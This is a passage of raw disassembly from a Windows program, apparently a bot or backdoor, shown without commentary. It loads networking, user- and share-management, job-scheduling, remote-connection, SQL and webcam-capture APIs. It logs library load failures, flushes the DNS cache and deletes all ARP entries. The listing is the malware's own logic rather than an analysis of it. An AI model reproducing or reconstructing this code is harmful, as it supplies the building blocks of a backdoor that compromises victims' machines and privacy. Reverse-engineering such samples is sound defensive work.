		mov	dword_4CB5C8, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB58C, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6C0, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB674, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB634, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB630, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB564, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB55C, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB684, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB698, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB64C, eax
		call	esi	; GetProcAddress
		mov	dword_4CB60C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB660, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB61C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB65C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6C8, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB614, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5D8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB648, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB588, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB6CC, eax
		jz	loc_40A2E7
		cmp	dword_4CB6D8, ebx
		jz	loc_40A2E7
		cmp	dword_4CB544, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5E0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5C8, ebx
		jz	loc_40A2E7
		cmp	dword_4CB58C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6B4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6D0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5DC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6C0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB674, ebx
		jz	loc_40A2E7
		cmp	dword_4CB634, ebx
		jz	loc_40A2E7
		cmp	dword_4CB630, ebx
		jz	loc_40A2E7
		cmp	dword_4CB564, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB684, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB698, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB64C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB660, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB61C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB65C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB6C8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB614, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5D8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB648, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5EC, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB718, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB714, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB570, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB4F8, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB608, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB538, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB530, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB540, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB570, ebx
		mov	ecx, dword_4CB5CC
		mov	dword_4CB668, eax
		jz	short loc_40A3D2
		cmp	dword_4CB4F8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB5FC, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB5A8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB608, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB538, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB530, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB540, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB71C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4CB5E4, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB720, eax
		mov	dword_4CB71C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CB5E4, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB6EC, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB5BC, ebx
		mov	dword_4CB54C, eax
		jz	short loc_40A466
		cmp	dword_4CB6EC, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB728, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB724, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB528, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB500, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB578, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB560, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB50C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB4FC, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB594, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB68C, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB644, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB528, ebx
		mov	dword_4CB568, eax
		jz	short loc_40A582
		cmp	dword_4CB500, ebx
		jz	short loc_40A582
		cmp	dword_4CB578, ebx
		jz	short loc_40A582
		cmp	dword_4CB5AC, ebx
		jz	short loc_40A582
		cmp	dword_4CB6C4, ebx
		jz	short loc_40A582
		cmp	dword_4CB560, ebx
		jz	short loc_40A582
		cmp	dword_4CB50C, ebx
		jz	short loc_40A582
		cmp	dword_4CB4FC, ebx
		jz	short loc_40A582
		cmp	dword_4CB594, ebx
		jz	short loc_40A582
		cmp	dword_4CB68C, ebx
		jz	short loc_40A582
		cmp	dword_4CB644, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB730, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB72C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB550, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB550, ebx
		mov	dword_4CB62C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB738, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB734, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB6AC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB740, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB73C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB69C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A68A
		cmp	dword_4CB6D4, ebx
		jz	short loc_40A68A
		cmp	dword_4CB69C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB748, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB744, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB5A0, ebx
		mov	dword_4CB6A8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB750, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB74C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB670, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5B0, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB650, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB670, ebx
		mov	dword_4CB5C0, eax
		jz	short loc_40A772
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A772
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A772
		cmp	dword_4CB5B0, ebx
		jz	short loc_40A772
		cmp	dword_4CB650, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB758, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB754, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB584, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB584, ebx
		mov	dword_4CB664, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB760, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB75C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB6F4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB6F8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB6FC, esi
		jz	short loc_40A84A
		push	dword_4CB700
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB704, esi
		jz	short loc_40A87E
		push	dword_4CB708
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB70C, esi
		jz	short loc_40A8B2
		push	dword_4CB710
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB714, esi
		jz	short loc_40A8E6
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB71C, esi
		jz	short loc_40A91A
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A94E
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB72C, esi
		jz	short loc_40A982
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB734, esi
		jz	short loc_40A9B6
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A9EA
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB744, esi
		jz	short loc_40AA1E
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB74C, esi
		jz	short loc_40AA52
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB754, esi
		jz	short loc_40AA86
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB75C, esi
		jz	short loc_40AABA
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D9F8
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB6B8	; gethostbyname
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB550
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx	; DnsFlushResolverCache

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6B0	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC0C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42DBE8
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6B0	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42DBB8


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42DB88
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB6AC	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
